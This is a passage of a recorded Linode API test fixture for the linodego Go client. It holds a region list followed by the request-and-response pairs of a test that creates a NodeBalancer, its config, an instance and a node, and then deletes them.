Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:53 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":1136777}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 1017186, "label": "go-test-def", "region": "ap-west", "hostname": "172-105-46-189.ip.linodeusercontent.com", "ipv4": "172.105.46.189", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "337" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:53 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80,"protocol":"http","algorithm":"roundrobin","check_interval":60}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017186/configs method: POST response: body: '{"id": 1680036, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 1017186, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "439" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:54 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-8t2e83p8l7xw","root_pass":"9b4gy1,3*$8zkES0Z5vK+UOiUe+^:#fd?LU;5~5D31#3L0M~8Siqm49''aRmRL(n\\","image":"linode/debian9","firewall_id":1136777,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 66622242, "label": "go-test-ins-8t2e83p8l7xw", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.53.152"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "27bad4d7c10af5bb36764a47a6793c636ab584fe", "has_user_data": false, "placement_group": null, "disk_encryption": "disabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:55 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "5" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/66622242/ips method: POST response: body: '{"address": "192.168.133.239", "gateway": null, "subnet_mask": "255.255.128.0", "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 66622242, "region": "ap-west", "vpc_nat_1_1": null, "reserved": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "224" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:55 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"address":"192.168.133.239:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017186/configs/1680036/nodes method: POST response: body: '{"id": 2077580853, "address": "192.168.133.239:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 1680036, "nodebalancer_id": 1017186}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "185" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:55 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017186/configs/1680036/nodes?page=1 method: GET response: body: '{"data": [{"id": 2077580853, "address": "192.168.133.239:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 1680036, "nodebalancer_id": 1017186}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "234" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:55 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017186/configs/1680036/nodes/2077580853 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:55 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/66622242 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:57 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017186/configs/1680036 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 